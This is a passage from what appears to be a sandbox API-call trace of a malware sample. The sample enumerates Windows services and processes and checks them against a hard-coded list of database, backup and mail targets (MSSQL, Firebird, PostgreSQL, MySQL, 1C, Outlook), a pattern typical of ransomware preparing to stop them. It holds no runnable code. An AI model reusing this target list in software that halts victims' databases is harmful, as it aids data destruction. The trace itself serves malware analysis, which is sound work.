lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0248.897] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0248.897] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0248.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0248.897] lstrlenW (lpString="PlugPlay") returned 8 [0248.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0248.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0248.898] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0248.898] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0248.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0248.898] lstrlenW (lpString="Power") returned 5 [0248.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0248.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0248.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0248.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0248.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0248.898] lstrlenW (lpString="ProfSvc") returned 7 [0248.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0248.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0248.898] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0248.899] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0248.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0248.899] lstrlenW (lpString="RpcEptMapper") returned 12 [0248.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.899] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0248.899] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0248.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0248.899] lstrlenW (lpString="RpcSs") returned 5 [0248.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0248.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0248.899] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0248.899] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0248.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0248.900] lstrlenW (lpString="SamSs") returned 5 [0248.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0248.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0248.900] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0248.900] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0248.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0248.900] lstrlenW (lpString="Schedule") returned 8 [0248.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0248.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0248.900] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0248.900] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0248.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0248.900] lstrlenW (lpString="SENS") returned 4 [0248.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0248.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0248.901] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0248.901] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0248.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0248.901] lstrlenW (lpString="ShellHWDetection") returned 16 [0248.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.901] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0248.901] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0248.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0248.901] lstrlenW (lpString="Spooler") returned 7 [0248.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0248.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0248.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0248.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0248.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0248.902] lstrlenW (lpString="SysMain") returned 7 [0248.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0248.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0248.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0248.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0248.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0248.902] lstrlenW (lpString="Themes") returned 6 [0248.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0248.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0248.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0248.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0248.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0248.902] lstrlenW (lpString="TrkWks") returned 6 [0248.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0248.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0248.903] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0248.903] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0248.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0248.903] lstrlenW (lpString="UxSms") returned 5 [0248.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0248.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0248.903] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0248.903] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0248.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0248.903] lstrlenW (lpString="Winmgmt") returned 7 [0248.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0248.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0248.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0248.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0248.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0248.904] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a0060 | out: hHeap=0x590000) returned 1 [0248.904] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a4 [0248.910] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.911] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.911] lstrlenW (lpString="System") returned 6 [0248.912] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0248.912] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0248.912] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0248.912] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0248.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0248.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0248.912] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0248.912] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.913] lstrlenW (lpString="smss.exe") returned 8 [0248.913] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0248.913] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0248.913] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0248.913] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0248.914] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0248.914] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0248.914] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0248.914] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.915] lstrlenW (lpString="csrss.exe") returned 9 [0248.915] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0248.915] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0248.916] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0248.916] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0248.916] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0248.916] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0248.916] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0248.916] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.917] lstrlenW (lpString="wininit.exe") returned 11 [0248.918] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0248.918] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0248.918] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0248.918] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0248.918] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0248.918] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0248.918] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0248.918] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.920] lstrlenW (lpString="csrss.exe") returned 9 [0248.920] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0248.920] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0248.920] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0248.920] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0248.920] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0248.920] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0248.921] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0248.921] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.922] lstrlenW (lpString="winlogon.exe") returned 12 [0248.922] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0248.922] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0248.922] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0248.922] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0248.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0248.923] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0248.923] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0248.923] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.624] lstrlenW (lpString="services.exe") returned 12 [0249.624] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0249.626] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0249.626] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0249.626] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0249.626] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0249.626] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0249.626] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0249.626] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.628] lstrlenW (lpString="lsass.exe") returned 9 [0249.628] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0249.628] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0249.628] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0249.628] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0249.628] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0249.628] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0249.628] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0249.628] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0249.629] lstrlenW (lpString="lsm.exe") returned 7 [0249.629] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0249.629] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0249.629] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0249.629] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0249.629] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0249.630] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0249.630] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0249.630] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.631] lstrlenW (lpString="svchost.exe") returned 11 [0249.631] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0249.631] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0249.631] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0249.631] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0249.631] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0249.631] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0249.632] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.633] lstrlenW (lpString="svchost.exe") returned 11 [0249.633] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.634] lstrlenW (lpString="svchost.exe") returned 11 [0249.634] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.635] lstrlenW (lpString="svchost.exe") returned 11 [0249.635] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.636] lstrlenW (lpString="svchost.exe") returned 11 [0249.636] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.637] lstrlenW (lpString="audiodg.exe") returned 11 [0249.637] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.638] lstrlenW (lpString="svchost.exe") returned 11 [0249.638] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0249.639] lstrlenW (lpString="userinit.exe") returned 12 [0249.639] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.640] lstrlenW (lpString="explorer.exe") returned 12 [0249.640] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.641] lstrlenW (lpString="dwm.exe") returned 7 [0249.642] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.642] lstrlenW (lpString="svchost.exe") returned 11 [0249.642] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0249.643] lstrlenW (lpString="winhost.exe") returned 11 [0249.643] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.644] lstrlenW (lpString="spoolsv.exe") returned 11 [0249.645] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.646] lstrlenW (lpString="svchost.exe") returned 11 [0249.646] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0249.647] lstrlenW (lpString="taskhost.exe") returned 12 [0249.647] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0249.647] lstrlenW (lpString="reader_sl.exe") returned 13 [0249.648] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0249.649] CloseHandle (hObject=0x3a4) returned 1 [0249.649] Sleep (dwMilliseconds=0x1f4) [0250.517] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e4f0 [0250.520] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0250.521] GetLastError () returned 0xea [0250.521] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfde) returned 0x42a0060 [0250.521] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a0060, cbBufSize=0xfde, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a0060, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0250.524] CloseServiceHandle (hSCObject=0x62e4f0) returned 1 [0250.524] lstrlenW (lpString="Appinfo") returned 7 [0250.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0250.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0250.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0250.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0250.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0250.525] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0250.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0250.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0250.525] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0250.525] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0250.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0250.525] lstrlenW (lpString="AudioSrv") returned 8 [0250.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0250.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0250.526] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0250.526] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0250.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0250.526] lstrlenW (lpString="BFE") returned 3 [0250.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0250.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0250.526] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0250.526] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0250.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0250.526] lstrlenW (lpString="CryptSvc") returned 8 [0250.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0250.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0250.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0250.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0250.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0250.527] lstrlenW (lpString="CscService") returned 10 [0250.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0250.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 